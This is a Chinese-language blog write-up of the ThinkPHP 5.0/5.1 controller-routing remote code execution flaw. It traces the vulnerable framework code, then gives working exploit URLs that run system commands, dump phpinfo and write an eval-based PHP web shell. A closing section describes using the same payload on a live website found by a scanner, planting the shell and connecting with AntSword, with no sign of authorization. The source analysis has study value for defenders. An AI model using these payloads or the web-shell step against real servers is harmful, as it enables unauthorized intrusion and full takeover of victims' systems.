漏洞描述
Thinkphp5.x版本中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。
影响版本:ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.1.31
漏洞分析
首先在/thinkphp/library/think/App.php的run()主函数中,url传入后需要经过路由检查
1 2 3 4 5 6
| $dispatch = self::$dispatch; if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } ......
|
跟进self::routeCheck函数
1 2 3 4 5
| public static function routeCheck($request, array $config) { $path = $request->path(); ........................ }
|
进入/thinkphp/library/think/Request.php的path()函数
1 2 3 4 5 6
| public function path() { if (is_null($this->path)) { $suffix = Config::get('url_html_suffix'); $pathinfo = $this->pathinfo(); ......
|
跟进pathinfo()函数,这里进行url解析,获取路由中的各个部分内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } if (!isset($_SERVER['PATH_INFO'])) { foreach (Config::get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; }
|
其中var_pathinfo参数即为系统默认参数,默认值为s,通过GET方法将获取到的var_pathinfo的值,即s=/模块/控制器/操作/[参数名/参数值…]的内容送到routeCheck()函数中$path参数进行路由检查处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static function routeCheck($request, array $config) { $path = $request->path(); ...... $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { throw new RouteNotFoundException(); } } if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } return $result; }
|
若路由寻不到对应操作,即返回$result=false
,且开启了强制路由$must
的情况下,就会抛出异常,并最终进入Route::parseUrl函数,进行$path
解析,以上就进入了我们的漏洞触发点:
/thinkphp/library/think/Route.php
1 2 3 4 5 6 7 8 9 10
| public static function parseUrl($url, $depr = '/', $autoSearch = false) { if (isset(self::$bind['module'])) { $bind = str_replace('/', $depr, self::$bind['module']); $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); ......
|
首先,在该函数中进行url解析,然后,进入到parseUrlPath函数,根据/对包含模块/控制器/操作的URL进行分割成数组然后返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| private static function parseUrlPath($url) { $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var]; }
|
最终在parseUrl()函数中,将返回的$path
提取出路由,即module、controller、action,然后封装到$route
后返回
1 2 3 4 5 6 7 8 9 10 11 12
| $route = [$module, $controller, $action]; $name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action); $name2 = ''; if (empty($module) || isset($bind) && $module == $bind) { $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action); } if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) { throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); } } return ['type' => 'module', 'module' => $route];
|
回到thinkphp/library/think/App.php文件的run()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } $request->dispatch($dispatch); if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); } Hook::listen('app_begin', $dispatch); $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] ); $data = self::exec($dispatch, $config); .......
|
在完成RouteCheck后,进入到exec()函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| protected static function exec($dispatch, $config) { switch ($dispatch['type']) { case 'redirect': $data = Response::create($dispatch['url'], 'redirect') ->code($dispatch['status']); break; case 'module': $data = self::module( $dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null ); break; ......................... }
|
在该函数中,首先路由信息首先进入module()函数进行检验,该函数首先查看该路由中的模块信息是否存在且是否存在于禁止的模块类表中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public static function module($result, $config, $convert = null) { if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); if ($config['app_multi_module']) { $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); $bind = Route::getBind('module'); $available = false; if ($bind) { list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; $available = true; } elseif ($module == $bindModule) { $available = true; } .......
|
模块存在的话,继续往下跟踪,分别将模块中的controller、actionName经过处理后赋值到$instance
、$action
,最终$instance
、$action
被赋值给了$call
参数。最终$call参数进入了self::invokeMethod()进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new \ReflectionMethod($class, $method[1]); } else { $reflect = new \ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); return $reflect->invokeArgs(isset($class) ? $class : null, $args); }
|
在函数中,通过反射ReflectionMethod获取controller(method[0])和action(method[1])对象下的方法,然后通过$args
= self::bindParams($reflect
, $vars
);获取到传入参数(也就是Payload)。
最后在调用反射$reflect
->invokeArgs($args);,将Payload数组传入反射对象函数invokeFunction,通过构造好的参数,可执行任意代码。
1 2 3 4 5 6 7 8
| public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
|
漏洞复现
docker环境:Thinkphp5 5.0.22/5.1.29 Remote Code Execution Vulnerability
利用 system 函数远程命令执行
http://121.40.95.148:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

通过phpinfo()函数显示PHP信息
http://121.40.95.148:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

写入shell
http://121.40.95.148:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=./test.php&vars[1][]=<?php @eval($_POST[cmd]);?>

实战应用
通过漏扫工具检测到某站点可能存在poc-yaml-thinkphp5-controller-rce
直接上payload,可查看phpinfo

但执行不了系统命令,禁止了system()、assert()等函数

尝试写入shell,成功!

顺势蚁剑连接,getshell成功!

第一个高危漏洞拿下!

参考
https://www.secpulse.com/archives/93903.html
https://y4er.com/post/thinkphp5-rce/
https://drunkmars.top/2021/04/14/thinkphp%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E6%80%BB%E7%BB%93/